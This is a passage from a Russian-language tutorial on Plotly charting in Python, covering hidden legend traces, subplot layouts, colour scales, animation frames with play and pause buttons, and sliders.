fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Давайте добавим больше разных функций на наш график, но сделаем так, чтобы по умолчанию их не было видно.
Для этого у объекта Scatter есть специальный атрибут:
```
visible='legendonly'
```
*Т.к. мы центрировали легенду относительно точки сдвига, то нам не пришлось менять величину сдвига с увеличением числа подписей.*
**Код**
```
def h(x):
return np.sin(x)
def k(x):
return np.cos(x)
def m(x):
return np.tan(x)
fig = go.Figure()
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink')
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000')
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=h(x), name='h(x)=sin(x)'))
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=k(x), name='k(x)=cos(x)'))
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=m(x), name='m(x)=tg(x)'))
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'))
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Наверное всё же не следует смешивать вместе тригонометрические и арифметические функции. Давайте отобразим их на разных, соседних графиках.
Для этого нам потребуется создать фигуру с несколькими осями.
Фигура с несколькими графиками создаётся с помощью подмодуля make\_subplots.
Необходимо указать количество:
* row — строк
* col — столбцов
А при построении графика передать «координаты» графика в этой «матрице» (сперва строка, потом столбец)
```
fig = make_subplots(rows=1, cols=2, specs=[[{'type':'domain'}, {'type':'domain'}]])
```
**Код**
```
fig = make_subplots(rows=1, cols=2)
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink')
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000')
fig.add_trace(go.Scatter(x=x, y=h(x), name='h(x)=sin(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=k(x), name='k(x)=cos(x)'), 1, 1)
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=m(x), name='m(x)=tg(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'), 1, 2)
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))), 1, 2)
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Заметили, наши изменения осей применились к обоим графикам?
Естественно, если у метода, изменяющего оси указать аргументы:
* row — координата строки
* col — координата столбца
то можно изменить ось только на конкретном графике:
**Код**
```
fig = make_subplots(rows=1, cols=2)
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink', col=2)
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000', col=2)
fig.add_trace(go.Scatter(x=x, y=h(x), name='h(x)=sin(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=k(x), name='k(x)=cos(x)'), 1, 1)
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=m(x), name='m(x)=tg(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'), 1, 2)
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))), 1, 2)
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
А вот если бездумно использовать title, xaxis\_title и yaxis\_title для update\_layout, то может выйти казус — подписи применятся только к 1 графику:
**Код, приводящий к казусу**
```
fig = make_subplots(rows=1, cols=2)
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink', col=2)
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000', col=2)
fig.add_trace(go.Scatter(x=x, y=h(x), name='h(x)=sin(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=k(x), name='k(x)=cos(x)'), 1, 1)
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=m(x), name='m(x)=tg(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'), 1, 2)
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))), 1, 2)
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=30, b=0))
fig.update_layout(title="Plot Title",
xaxis_title="x Axis Title",
yaxis_title="y Axis Title")
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Поэтому заголовки графиков можно задать, при создании фигуры, передав в аргумент subplot\_titles кортеж/список с названиями.
Подписи осей под графиками можно поменять с помощью методов фигуры:
* fig.update\_xaxes
* fig.update\_yaxes
Передавая в них номер строки и колонки (т.е. «координаты изменяемого графика»)
**Код, подписывающий все графики независимо**
```
fig = make_subplots(rows=1, cols=2, subplot_titles=("Plot 1", "Plot 2"))
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink', col=2)
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000', col=2)
fig.add_trace(go.Scatter(x=x, y=h(x), name='h(x)=sin(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=k(x), name='k(x)=cos(x)'), 1, 1)
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=m(x), name='m(x)=tg(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'), 1, 2)
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))), 1, 2)
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=40, b=0))
fig.update_layout(title="Plot Title")
fig.update_xaxes(title='Ось X графика 1', col=1, row=1)
fig.update_xaxes(title='Ось X графика 2', col=2, row=1)
fig.update_yaxes(title='Ось Y графика 1', col=1, row=1)
fig.update_yaxes(title='Ось Y графика 2', col=2, row=1)
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
И конечно, если необходимо сделать так, чтобы один график был больше, а другой меньше, то для этого используется аргументы
* column\_widths — задаёт отношения ширины графиков (в одной строке)
* row\_heights — задаёт отношения высот графиков (в одном столбце)
Каждый из этих параметров принимает список чисел, которых должно быть столько, сколько графиков в строке/столбце. Отношения чисел задают отношения ширин или высот.
Рассмотрим на примере ширин. Сделаем левый график вдвое шире правого, т.е. зададим соотношение 2:1.
**Код**
```
fig = make_subplots(rows=1, cols=2, column_widths=[2, 1])
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink', col=2)
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000', col=2)
fig.add_trace(go.Scatter(x=x, y=h(x), name='h(x)=sin(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=k(x), name='k(x)=cos(x)'), 1, 1)
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=m(x), name='m(x)=tg(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'), 1, 2)
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))), 1, 2)
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
А что если мы хотим выделить одному из графиков больше места, чем другим, например, 2 строки или наоборот, 2 столбца?
В matplotlib мы использовали бы несколько фигур, либо оси с заданными размерами, здесь у нас есть другой инструмент. Мы можем сказать каким-то осям объединиться вдоль колонок или вдоль строк.
Для этого нам потребуется написать спецификацию на фигуру (для начала очень простую).
Спецификация — это список (если точнее, то даже матрица из списков), каждый объект внутри которого — словарь, описывающий одни из осей.
Если каких-то осей нет (например, если их место занимают растянувшиеся соседи, то вместо словаря передаётся None.
Давайте сделаем матрицу 2х2 и объединим вместе левые графики, получив одни высокие вертикальные оси. Для этого первому графику передадим атрибут «rowspan» равный 2, а его нижнего соседа уничтожим (None):
`specs=[
[{"rowspan": 2}, {}],
[None, {}]
]`
**Код**
```
fig = make_subplots(rows=2, cols=2,
specs=[[{"rowspan": 2}, {}], [None, {}]])
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink', col=2)
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000', col=2)
fig.add_trace(go.Scatter(x=x, y=h(x), name='h(x)=sin(x)'), 2, 2)
fig.add_trace(go.Scatter(x=x, y=k(x), name='k(x)=cos(x)'), 2, 2)
fig.add_trace(go.Scatter(x=x, y=m(x), name='m(x)=tg(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'), 1, 2)
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))), 1, 2)
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Как видим, в вертикальный график идеально вписался тангенс, который отныне не невидим.
Для объединения используется:
* rowspan — по вертикали
* colspan — по горизонтали
**Код, объединяющий ячейки в другом направлении**
```
fig = make_subplots(rows=2, cols=2,
specs=[[{"colspan": 2}, None], [{}, {}]])
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink', col=2)
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000', col=2)
fig.add_trace(go.Scatter(x=x, y=h(x), name='h(x)=sin(x)'), 2, 2)
fig.add_trace(go.Scatter(x=x, y=k(x), name='k(x)=cos(x)'), 2, 2)
fig.add_trace(go.Scatter(x=x, y=m(x), name='m(x)=tg(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'), 2, 1)
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))), 2, 1)
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
*[Больше примеров использования make\_subplots](https://plotly.com/python/subplots/)*
Последний вариант получился слишком узким по вертикали.
Высоту легко увеличить в помощью атрибута height у метода update\_layout.
Размеры фигуры регулируются 2 атрибутами:
* width — ширина (в пикселях)
* height — высота (в пикселях)
*Но следует помнить, если вы встраиваете фигуры plotly куда-то (а это логично, если вы делаете дашборд, например), то фигура занимает всё отведённое пространство по ширине, поэтому не изменять ширину в plotly будет не лучшей идеей. Лучше использовать стили в разметке.*
**Код**
```
fig = make_subplots(rows=2, cols=2,
specs=[[{"colspan": 2}, None], [{}, {}]])
fig.update_yaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='LightPink', col=2)
fig.update_xaxes(range=[-0.5, 1.5], zeroline=True, zerolinewidth=2, zerolinecolor='#008000', col=2)
fig.add_trace(go.Scatter(x=x, y=h(x), name='h(x)=sin(x)'), 2, 2)
fig.add_trace(go.Scatter(x=x, y=k(x), name='k(x)=cos(x)'), 2, 2)
fig.add_trace(go.Scatter(x=x, y=m(x), name='m(x)=tg(x)'), 1, 1)
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2'), 2, 1)
fig.add_trace(go.Scatter(x=x, y=x, mode='markers',name='g(x)=x',
marker=dict(color='LightSkyBlue', size=20, line=dict(color='MediumPurple', width=3))), 2, 1)
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
hovermode="x",
margin=dict(l=0, r=0, t=0, b=0),
height=1000,
width=600)
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
### Увеличиваем плотность информации
#### Тепловая карта
Вернёмся к 1 графику, но постараемся уместить на нём больше информации, используя цветовую кодировку (что-то вроде тепловой карты — чем выше значение некой величины, тем «теплее» цвет).
Для этого у объекта go.Scatter используем уже знакомый атрибут marker (напомним, он принимает словарь). Передаём следующие атрибуты в словарь:
* color — список значений по которым будут выбираться цвета. Элементов списка должно быть столько же, сколько и точек.
* colorbar — словарь, описывающий индикационную полосу цветов справа от графика. Принимает на вход словарь. Нас интересует пока только 1 значение словаря — title — заголовок полосы.
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2',
marker=dict(color=h(x), colorbar=dict(title="h(x)=sin(x)"))
))
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=h(x), name='h(x)=sin(x)'))
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=k(x), name='k(x)=cos(x)'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
В предыдущем примере цветовая шкала не очень похожа на тепловую карту.
На самом деле цвета на шкале можно изменить, для этого служит атрибут colorscale, в который передаётся имя палитры.
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2',
marker=dict(color=h(x), colorbar=dict(title="h(x)=sin(x)"), colorscale='Inferno')
))
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=h(x), name='h(x)=sin(x)'))
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=k(x), name='k(x)=cos(x)'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Можно ли добавить больше информации? Конечно можно, но тут возникают хитрости.
Для ещё одного измерения можно использовать размер маркеров.
**Важно**. Размер — задаётся в пикселях, т.е. величина не отрицательная (в отличие от цвета), поэтому мы будем использовать модуль одной из функций.
так же, величины меньше 2 пикселей обычно плохо видны на экране, поэтому для размера мы добавим множитель.
Размеры задаётся атрибутом size того же словаря внутри marker. Этот атрибут принимает 1 значение (число), либо список (чисел).
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=x, y=f(x), mode='lines+markers', name='f(x)=x2',
marker=dict(color=h(x), colorbar=dict(title="h(x)=sin(x)"), colorscale='Inferno',
size=50*abs(h(x)))
))
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=h(x), name='h(x)=sin(x)'))
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=abs(h(x)), name='h_mod(x)=|sin(x)|'))
fig.add_trace(go.Scatter(visible='legendonly', x=x, y=k(x), name='k(x)=cos(x)'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
### Анимация
Можно ли ещё уплотнить информацию на графике? Да, можно, если использовать «четвёртое измерение» — время. Это так же может быть полезно и само по себе для оживления вашего графика.
Вернёмся на пару шагов назад. Мы будем анимировать график построения параболы. Для этого нам понадобятся:
1. Начальное состояние
2. Кнопки (анимация не должна начинаться сама по себе, поэтому для начала мы создадим простую кнопку, её запускающую, а постепенно перейдём к временной шкале)
3. Фреймы (или кадры) — промежуточные состояния
**1. Начальное состояние**
Это то, что будет на графике до начала анимации. В нашем случае это будет стартовая точка.
*Уберём практически всё лишнее из предыдущих шагов*
**Шаг 1 - код полуфабрикат**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=[x[0]], y=[f(x)[0]], mode='lines+markers', name='f(x)=x2'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
**2. Кнопка**
Код минимальной работоспособной кнопки выглядит так:
```
"updatemenus": [{"type": "buttons",
"buttons": [{"label": "Your Label",
"method": "animate",
"args": [See Below]}]}]
```
updatemenus — это один из элементов слоя, т.е. layout фигуры, а значит, мы добавим кнопку с помощью метода update\_layout.
Пока она не будет ничего делать, т.к. у нас нечего анимировать.
**Шаг 2 - код всё ещё полуфабрикат**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=[x[0]], y=[f(x)[0]], mode='lines+markers', name='f(x)=x2'))
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
updatemenus=[dict(type="buttons", buttons=[dict(label="Play", method="animate", args=[None])])],
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
**3. Фреймы**
Это список «кадров» из которых состоит наша анимация.
Каждый фрейм должен содержать внутри себя целиком готовый график, который просто будет отображаться на нашей фигуре, как в декорациях.
Фрейм создаётся с помощью go.Frame()
График передаётся внутрь фрейма в аргумент data.
Таким образом, если мы хотим построить последовательность графиков (от 1 точки до целой фигуры), нам надо просто пройти в цикле:
```
frames=[]
for i in range(1, len(x)):
frames.append(go.Frame(data=[go.Scatter(x=x[:i], y=f(x[:i]))]))
```
После этого фреймы необходимо передать в фигуру. У каждой фигуры есть атрибут frames, который мы и будем использовать:
```
fig.frames = frames
```
**Шаг 3 - Ёлочка гори, в смысле код, запускающий анимацию**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=[x[0]], y=[f(x)[0]], mode='lines+markers', name='f(x)=x2'))
frames=[]
for i in range(1, len(x)):
frames.append(go.Frame(data=[go.Scatter(x=x[:i+1], y=f(x[:i+1]))]))
fig.frames = frames
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
updatemenus=[dict(type="buttons", buttons=[dict(label="Play", method="animate", args=[None])])],
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Другой способ задать начальное состояние, слой (с кнопками) и фреймы — сразу передать всё в объект go.Figure:
* data — атрибут для графика с начальным состоянием
* layout — описание «декораций» включая кнопки
* frames — фреймы (кадры) анимации
**Код**
```
frames=[]
for i in range(1, len(x)):
frames.append(go.Frame(data=[go.Scatter(x=x[:i+1], y=f(x[:i+1]))]))
fig = go.Figure(data=go.Scatter(x=[x[0]], y=[f(x[0])], mode='lines+markers', name='f(x)=x2'),
frames=frames,
layout=dict(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
updatemenus=[dict(type="buttons", buttons=[dict(label="Play", method="animate", args=[None])])],
margin=dict(l=0, r=0, t=0, b=0)))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Естественно, если добавить на графики (как на начальный, так и те, что во фреймах) маркеры с указанием цвета, цветовой шкалы и размера, то анимация будет более сложного графика.
**Код**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=[x[0]], y=[f(x)[0]], mode='lines+markers', name='f(x)=x2',
marker=dict(color=h(x[0]), colorbar=dict(title="h(x)=sin(x)"), colorscale='Inferno', size=50*abs(h(x[0])))
))
frames=[]
for i in range(1, len(x)):
frames.append(go.Frame(data=[go.Scatter(x=x[:i+1], y=f(x[:i+1]), marker=dict(color=h(x[:i+1]), size=50*abs(h(x[:i+1]))))]))
fig.frames = frames
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
updatemenus=[dict(type="buttons", buttons=[dict(label="Play", method="animate", args=[None])])],
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Заметим, что код простейшей кнопки, которая запускает воспроизведение видео выглядит так:
```
dict(label="Play", method="animate", args=[None])
```
или
```
dict(label="", method="animate", args=[None])
```
Если мы хотим добавить кнопку «пауза» (в отличие от стандартной паузы повторное нажатие не будет вызывать воспроизведение, для начала воспроизведения придётся нажат Play), код усложнится:
```
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])
```
Правда, если добавить 2 такие кнопки, то вы заметите, что кнопка play, нажатая после паузы, в итоге начинает воспроизведение с начала. Это не совсем интуитивное поведение, поэтому ей следует добавить ещё 1 аргумент:
```
dict(label="", method="animate", args=[None, {"fromcurrent": True}])
```
Теперь полный набор из 2 наших кнопок будет выглядеть так:
```
buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])]
```
**Код с 2 кнопками: запуска и остановки анимации**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=[x[0]], y=[f(x)[0]], mode='lines+markers', name='f(x)=x2',
marker=dict(color=h(x[0]), colorbar=dict(title="h(x)=sin(x)"), colorscale='Inferno', size=50*abs(h(x[0])))
))
frames=[]
for i in range(1, len(x)):
frames.append(go.Frame(data=[go.Scatter(x=x[:i+1], y=f(x[:i+1]), marker=dict(color=h(x[:i+1]), size=50*abs(h(x[:i+1]))))]))
fig.frames = frames
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
updatemenus=[dict(type="buttons", buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])],
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
Иногда полезно перенести кнопки в другоме место. Рассмотрим некоторые из атрибутов, которые с этим помогут:
* direction — направление расположения кнопок (по умолчанию сверху-вниз, но если указать «left», то будет слева-направо)
* x, y — положение (в долях от фигуры)
* xanchor, yanchor — как выравнивать кнопки. У нас была раньше проблема с выравниванием легенд, тут та же история. Если хотим выровнять по центру, то x=0.5 и xanchor=«center» помогут.
**Код с кнопками внизу**
```
fig = go.Figure()
fig.add_trace(go.Scatter(x=[x[0]], y=[f(x)[0]], mode='lines+markers', name='f(x)=x2',
marker=dict(color=h(x[0]), colorbar=dict(title="h(x)=sin(x)"), colorscale='Inferno', size=50*abs(h(x[0])))
))
frames=[]
for i in range(1, len(x)):
frames.append(go.Frame(data=[go.Scatter(x=x[:i+1], y=f(x[:i+1]), marker=dict(color=h(x[:i+1]), size=50*abs(h(x[:i+1]))))]))
fig.frames = frames
fig.update_layout(legend_orientation="h",
legend=dict(x=.5, xanchor="center"),
updatemenus=[dict(direction="left", x=0.5, xanchor="center", y=0,
type="buttons", buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])],
margin=dict(l=0, r=0, t=0, b=0))
fig.update_traces(hoverinfo="all", hovertemplate="Аргумент: %{x}
Функция: %{y}")
fig.show()
```
### Слайдер
Слайдер по принципу работы похож на анимацию, но есть серьёзное отличие.
Слайдер — это элемент навигации, полоска по которой скользит ползунок, который управляет состоянием графиков на фигуре.
Т.е. если фреймы в анимации меняются один за другим, то в случае использования слайдера все графики одновременно есть. Но большая часть из них невидима. И при перемещении ползунка мы просто какие-то скрываем, а другие наоборот показываем (и перестраиваем оси, конечно).
**1. Создаём список графиков.** Важно, что один из графиков (например, 1й) должен быть видимым.
Для установления видимости/невидимости используется аргумент visible:
* Видимый график — `go.Scatter(visible=True, x=[x[0]], y=[f(x)[0]], mode='lines+markers', name='f(x)=x2')`
* Невидимый график — `go.Scatter(visible=False, x=[x[0]], y=[f(x)[0]], mode='lines+markers', name='f(x)=x2')`
**Все графики рисуем на фигуре** — для этого удобно использовать аргумент data фигуры, чтобы передать их все списком:
`fig = go.Figure(data=trace_list)`
**2. Создаём список «шагов» слайдера.**
Шаг имеет определённый синтаксис. По сути он описывает состояние (какие графики видимы, какие нет) и метод перехода к нему.
Шаг должен описывать состояние **всех графиков**.
Минимальный синтаксис 1 шага:
`dict(
method = 'restyle',
args = #СПИСОК СОСТОЯНИЙ ВСЕХ ГРАФИКОВ
)`
Состояние видимости/невидимости задаётся парой 'visible' и списка логических значений (какие графики 'visible', а какие нет). Поэтому для КАЖДОГО шага мы создадим список False, а потом поменяем нужное значение на True, чтобы показать какой-то конкретный график.
Шаги нужно собрать в список (т.е. это будет список словарей).
Наконец все шаги надо добавить в фигуру:
`fig.layout.sliders = sliders`
Минимально рабочий код (внимательно изучите его, т.к. там есть несколько тонких моментов):
**Код**
```
num_steps = len(x)
trace_list = [go.Scatter(visible=True, x=[x[0]], y=[f(x)[0]], mode='lines+markers', name='f(x)=x2')]
for i in range(1, len(x)):
trace_list.append(go.Scatter(visible=False, x=x[:i+1], y=f(x[:i+1]), mode='lines+markers', name='f(x)=x2'))
fig = go.Figure(data=trace_list)
steps = []
for i in range(num_steps):
# Hide all traces
step = dict(
method = 'restyle',
args = ['visible', [False] * len(fig.data)],
)
# Enable trace we want to see
step['args'][1][i] = True
# Add step to step list
steps.append(step)
sliders = [dict(
steps = steps,
)]
fig.layout.sliders = sliders
fig.show()
```
Если мы хотим добавить не 1 график, а 2, то добавить их придётся парой везде:
* в первоначальное активное состояние
* все неактивные (скрытые)
* парами генерировать состояние шагов
* парами активировать видимые на шаге графики
Поменяем изучаемую фигуру на синус и косинус (чтобы следить за тем как они развиваются):
**Код**
```
num_steps = len(x)
trace_list = [go.Scatter(visible=True, x=[x[0]], y=[h(x)[0]], mode='lines+markers', name='h(x)=sin(x)'),
go.Scatter(visible=True, x=[x[0]], y=[k(x)[0]], mode='lines+markers', name='k(x)=cos(x)')]
# Так выглядел процесс добавления этих функций раньше:
#fig.add_trace(go.Scatter(x=x, y=h(x), name='h(x)=sin(x)'), 1, 1)
#fig.add_trace(go.Scatter(x=x, y=k(x), name='k(x)=cos(x)'), 1, 1)
for i in range(1, len(x)):
trace_list.append(go.Scatter(visible=False, x=x[:i+1], y=h(x[:i+1]), mode='lines+markers', name='h(x)=sin(x)'))
trace_list.append(go.Scatter(visible=False, x=x[:i+1], y=k(x[:i+1]), mode='lines+markers', name='k(x)=cos(x)'))
fig = go.Figure(data=trace_list)
steps = []
for i in range(num_steps):
step = dict(
method = 'restyle',
args = ['visible', [False] * len(fig.data)],
)
step['args'][1][2*i] = True
step['args'][1][2*i+1] = True
steps.append(step)
sliders = [dict(
steps = steps,
)]
fig.layout.sliders = sliders
fig.show()
```
Просто добавим кнопки из предыдущей части. Они ничего не будут делать, т.к. мы ещё никакой анимации не добавили. Просто «прицелимся».
**Код слайдера с нерабочими кнопками анимации**
```
num_steps = len(x)
trace_list = [go.Scatter(visible=True, x=[x[0]], y=[h(x)[0]], mode='lines+markers', name='h(x)=sin(x)'),
go.Scatter(visible=True, x=[x[0]], y=[k(x)[0]], mode='lines+markers', name='k(x)=cos(x)')]
for i in range(1, len(x)):
trace_list.append(go.Scatter(visible=False, x=x[:i+1], y=h(x[:i+1]), mode='lines+markers', name='h(x)=sin(x)'))
trace_list.append(go.Scatter(visible=False, x=x[:i+1], y=k(x[:i+1]), mode='lines+markers', name='k(x)=cos(x)'))
fig = go.Figure(data=trace_list)
steps = []
for i in range(num_steps):
step = dict(
method = 'restyle',
args = ['visible', [False] * len(fig.data)],
)
step['args'][1][2*i] = True
step['args'][1][2*i+1] = True
steps.append(step)
sliders = [dict(
steps = steps,
)]
fig.update_layout(updatemenus=[dict(direction="left", x=0.5, xanchor="center", y=0,
type="buttons", buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])],
)
fig.layout.sliders = sliders
fig.show()
```
Если просто добавить фреймы с анимацией так, как мы это делали раньше, то кнопки анимации конечно заработают. Но только на 1 состоянии слайдера.
